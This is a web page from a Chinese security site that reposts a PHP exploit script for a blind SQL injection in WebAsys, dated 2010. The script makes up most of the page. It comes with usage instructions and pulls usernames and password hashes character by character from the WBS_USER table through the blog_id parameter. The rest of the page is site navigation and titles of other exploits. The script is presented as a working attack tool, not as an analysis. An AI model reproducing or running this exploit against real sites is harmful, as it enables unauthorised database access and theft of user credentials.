首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WebAsys blind SQL Injection Exploit
来源:vfocus.net 作者:zsh.shell 发布时间:2010-05-25  
===================================
WebAsys blind SQL Injection Exploit
===================================

<?php
/**
* WebAsys blindSQL-inj exploit
* @author: zsh.shell
*/

if($argc !== 4) {
echo "#######################################\n\n";
echo "GET username by id:\tphp ".$argv[0]." url id u\n";
echo "GET password by id:\tphp ".$argv[0]." url id p\n";
echo "\nExample: php ".$argv[0]." http://site.com/ 1 p\n\n";
die("#######################################\n");
}
$url = $argv[1]."index.php?ukey=news&blog_id=";
$id = $argv[2];
$me = $argv[3];
if($me == 'u') {
        $me = "lower(U_ID)";
        $chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z);

    for($i=1;$i<=25;$i++) {
        $vuln = $url."if((select+length(U_ID)+FROM+WBS_USER+where+C_ID=1)=".$i.",1,(select+1+union+select+2))";
        $result = file_get_contents($vuln);
        if(!preg_match("/Subquery returns/", $result)) {
            $much = $i;
            break;
        }
     }
}
elseif($me == 'p') {
    $me = "U_PASSWORD";
    $chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f);
    $much = 32;
}
else die("Wrong exploit parametr". $me ."\n");

$chars = array_map("ord", $chars);


for($i=1;$i<=$much;$i++)
    foreach($chars as $j) {
        for($k=0;$k<=strlen($out);$k++) echo chr(8);
        $vuln = $url."if(ascii(substring((select+".$me."+from+WBS_USER+where+C_ID=".$id."),".$i.",1))=".$j.",1,(select+1+union+select+2))";
        $result = file_get_contents($vuln);
        $out = "[".chr($j)."] :> ".$res;
        
        if(!preg_match("/Subquery returns/", $result)) {
            $res .= chr($j);
            break;
        }
        echo $out;
    }
if(substr(strtolower(PHP_OS),0,3) == 'win') system("cls"); else system("clear");
echo "[+] Result:\t".$res."\n";
?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·e107 <= 0.7.20 Code Execution
·Kingsoft WebShield KAVSafe.sys
·Solaris/x86 - Remote Download
·Media Player Classic - v 1.3.1
·POC - SEH control (0day) of We
·WinDirectAudio (.WAV) PoC
·Open&Compact Ftp Server 1.2 Un
·Amaya 11.3.1(dec 9 2009) remot
·Linux/x86 - Disable randomize
·Solarwinds 10.4.0.10 TFTP DOS
·Solaris/x86 - Reboot() - 37 by
·Firefox 3.6.3 (latest) <= memo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved